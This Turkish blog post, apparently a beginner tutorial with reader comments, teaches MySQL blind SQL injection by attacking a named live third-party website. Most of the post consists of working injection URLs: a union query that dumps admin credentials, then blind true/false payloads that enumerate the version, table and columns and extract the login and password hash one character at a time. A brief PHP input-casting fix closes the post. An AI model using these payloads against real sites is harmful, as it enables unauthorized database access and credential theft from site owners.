12 Ekim 2012 Cuma

MySQL Blind Injection Uygulama (Giriş Seviye)


Bu içinde bulunduğumuz makalede Mysql Blind Sql Injection’ın ne olduğunu anlatmaya çalışacağım ve uygulama yaparak bir sitenin bazı bilgilerini ele geçireceğiz.

Bir çok web yazılımcısı sql dilini kullanır, kullanmak zorundadır. Veritabanı ile en basitinden listeme, güncelleme, ekleme işlemleri yaparız. Fakat bu işlemleri yaparken kullandığımız web yazılım dili; sql dilini çok tehlikeli durumlara düşürebiliyor. Programlama dilinin tehlikelerinin yanında yazılımcının açık kapı bırakmasından dolayı da bu tür tehlikeler vardır.

Sql injection; sorgunun herhangi bir yerine eklenen karakterler ile fark edilir.

Örneğin:
http://www.site.com/konu.php?id=25 kısmında (25)’den sonra bir kesme işareti atarak, yani /konu.php?id=25 yaparak belirtilen durumun true false döndürmesine bakılır. Blind SQL’de bizim için mühim olan sayfanın true ve false döndürmesidir. Blind SQL’i nasıl tespit ederiz diye sorarsanız ben bilinen en basit yöntem olan and sorgusu ile sayfanın true veya false olma durumunu denetlemeyi göstermek isterim.

True -> http://www.site.com/konu.php?id=25 and 1=1
False -> http://www.site.com/konu.php?id=25 and 1=2
Eğer ki, 1=1 eşit olduğunda sayfa sorunsuz geliyorsa ama 1=2  eşit olduğunda sayfada bazı verilerde eksilme vs varsa (veritabanından gelen verilerin gelmemesi gibi) Blind SQLi yakalamışız demektir. Şimdi php&mysql blind injection güvenlik zafiyeti olan bir yabancı web sitesi üzerinden örnek vererek uygulamalarımıza başlayalım.

~ NORMAL SQL INJECTION BİLİNDİĞİNİZ VARSAYILARAK YAZILMIŞTIR BU MAKALE ~

İlk başta şunu söyleyerek başlayayım; bu örnek web sitesinde mysql blind sql injection var fakat normal sql sorguları da yiyor yani ekrana veri yansıtıyor. Blind Sql Injection’da ekrana veri asla yansımaz! Biz doğru-yanlışa göre kendimiz veriyi inşa ederiz. Ben ilk önce normal sql sorguları uygulayarak sitenin admin bilgilerini aldım, sorgum bu şekilde;

http://www.bozar.be/activity.php?id=11214+and+1=2+union+select+version(),database(),user(),4,5,6,7,8,9,concat(login,0x3a,password),11,12,13,14,15,16,17+from+users--

Burada da görüldüğü gibi tablo adımız: users, sütun(kolon) adlarımız: login ve password. Ekran çıktısının resmini de ekleyeyim:

Burada admin yazan kısım; elde etmek istediğimiz yönetici(admin) bilgilerimizdir. İşte şifrede md5 olarak gelmiş.

Şimdi aynı urlde and 1=1 ve and 1=2’ye göz atalım. Yani artık testlerimizi blind injection kodları ile yapacağız:

BAŞLIYORUZ...

http://www.bozar.be/activity.php?id=11214 and 1=1 yapalım. Sayfa karşımıza normal olarak gelecektir.

http://www.bozar.be/activity.php?id=11214 and 1=2 yapalım. Sayfa 404.php’ye yönlendi. Yani bir değişim meydana geldi. Eğer and 1=1 yaptığımızda da 404.php’ye atsaydı bir şey yok diyip geçerdik fakat and 1=1 de normalken yanlış durumunda(and 1=2) sayfada yanlış oluyor. Yani blind sql kabak gibi ortada?

Şimdi mysql versionunu kontrol edelim dilerseniz.
http://www.bozar.be/activity.php?id=11214 and substring(version(),1,1)=4 yaptık sayfa true (doğru) döndü. Eğer 4 yerine 5 yazsaydık versiyon 5 olmadığı için 404.php ye atacaktı (deneyebilirsiniz). He bu arada Myql Versiyonu 4 :)

Şimdi select yani seçme komutunu kabul edip etmediğine bakalım.
http://www.bozar.be/activity.php?id=11214+and+(select 1)=1 sayfa yine true döndü sorun yok devam.

Şimdi daha demin tablomuzu users olarak bulduğumu söylemiştim tabloyu test edelim blind komutu ile;
http://www.bozar.be/activity.php?id=11214 and (select 1 from tablo limit 0,1)=1 şimdi tablo adını tablo olarak yaptım 404.php’ye atacak çünkü öyle bir tablo adı yok. Tablo kısmını users yapıp deneyelim sayfa sorunsuz gelecektir, bu da gösteriyor ki tablo adımız users.

http://www.bozar.be/activity.php?id=11214 and (select 1 from users limit 0,1)=1 true döndü devam.

Şimdi users tablosuna ait sütunları(kolon) test edelim;
http://www.bozar.be/activity.php?id=11214 and (select substring(concat(1,column),1,1) from users limit 0,1)=1
bu column yazan değeri değiştireceğiz bu şekilde girersek yine 404.php’ye atıcak çünkü column isimli bir sütun yok ki..

http://www.bozar.be/activity.php?id=11214 and (select substring(concat(1,login),1,1) from users limit 0,1)=1 yaptığımızda login isimli bir sütun olduğundan dolayı problemsiz olarak sayfa true dönecektir. Diğer columnuda password olarak buldum.

Devam edelim şimdi login ve password’u birleştirip 1.harf 2.harf 3.harf … diye giderek verileri çekmeye başlayalım.

Verileri birleştirme ve harf1’den başlama;
http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(column1,0x3a,column2) from tablo limit 0,1),1,1))>97

komutumuz bu burada tablo ve column bilgilerini yazıcaz. Bu 97 kısmı ne? derseniz ascii karakterleridir, harflerin sayı karşılığıdır.

www.asciitable.com adresinden bu karakterlere ayrıntılı şekilde göz atabilirsiniz. Ayrıca da blind injection için kullanılan kodları ve detaylarını google’da blind injection cheat sheet yazıp öğrenebilirsiniz.

http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),1,1))>96 sayfa düzgün geliyor, önemli olan sayfanın kopacağı yeri bulmak.. Yani false döneceği yeri. Fakat ondan önce bir şey açıklamak istiyorum.

Şimdi bu sayıları neye göre yazıyorsun? diyenler olabilir.

asciitable.com’da da görüldüğü gibi 0 ile 127 arasındaki tüm sayıları buraya yazabiliriz. Sayfa en önce hangi sayıda koparsa o veri bizim birinci harfimiz olacaktır. (Normal sql injection yöntemi gibi düşünebiliriz ki blind’e başlamadan önce normal sql injection konusunu bildiğinizi varsayıyorum)

http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),1,1))>97 yaptığımızda sayfa koptu, 96 da düzgündü 97 de gitti, yani 97 bizim ilk harfimizmiş. Hemen asciitable.com’dan bakıyoruz 97’nin karşılığı “a” yani daha demin başta resimde bilgilerin admin şeklinde olduğunu söylemiştim. Blind’de bize aynı sonucu veriyor.

2.Harf:
http://www.bozar.be/activity.php?id=11214 and ascii(substring((SELECT concat(login,0x3a,password) from users limit 0,1),2,1))>99 şimdi 2.harf için bu parantezler arasında 1,1 yazan yeri 2,1 olarak değiştiriyoruz.

2. harfin d olduğunu baştan biliyoruz zaten. asciitable de “d” nin karşılığı 100 onuda yazınca sayfa gidiyor zaten. 99 da düzgün, 100 de kopuyor. 2.harf d oluyor. böyle çoğaltarak gidiyoruz tek tek tüm harfleri alıyoruz. En son harfin bittiğini nasıl anlarız derseniz sayfa hiç kopmaz hep true döner 0 ile 127 arasında hep true dönüyorsa harf bitmiştir artık.

Sonuç olarak Blind SQL çok geniş bir kavramdır ve çok zahmetlidir. Ama çoğu büyük firmalarda dahil olmak üzere bu açığı barındırmaktadır ki şahsen büyük yerlerde de rastladım… Blind SQL’i diğer türlerden ayıran tek fark sorgu sonucunu sayfa tepkisi olarak yansıtmasıdır, yani doğru ve yanlış. Misal biz sorgumuzda açık kapı bırakıyoruz adamda ekleme yapıyor sorgumuza diyor ki:

select * from users where userid=1 diyor. userid’si 1 olan kişinin bilgilerini sayfaya çağırıyor true olarak geliyor. Biz de userid=2 yapıyoruz sayfa kopuyor bu normal bir tepki fakat eğer sorgumuzda yazım yanlışı yaparsak bu blind sql’e dönüşüyor. Php ve MySQL kullananlar için örnek bir sorgu vermek isterim;

<?php
$userid = (int)$_GET[“userid”];
$sorgu = mysql_query(“SELECT * FROM users WHERE userid=’$userid’”);
While($row = mysql_fetch_array($sorgu)){
Bilgiler şeklinde…
}
?>

Sorgularınızı bu tarz yazarsanız ve verinin integer olduğunu doğrularsanız açık kapı bırakmamış olursunuz!

---------------------------

Umarım sizin için hem saldırı hem güvenlik bazında faydalı bir döküman olmuştur, iyi çalışmalar :)

5 yorum:

  1. bu konuda türkçe kaynak olarak hiç bu kadar sade anlaşılır ve uygulamalı bir dökümana rastlamamıştım emeğinize sağlık hocam

    YanıtlaSil
    Yanıtlar
    1. Teşekkürler @Ch. yararı olduysa ne mutlu bize

      Sil
  2. teşekkürler paylaşımlarınız için

    YanıtlaSil
  3. Çok teşekkürler güvenlik için işe yarıyor :)

    YanıtlaSil
  4. Sql injection, programlar ve önleme konusunda güzel bir kaynak da şurada: http://www.beybut.com/sql-injection-hack/

    YanıtlaSil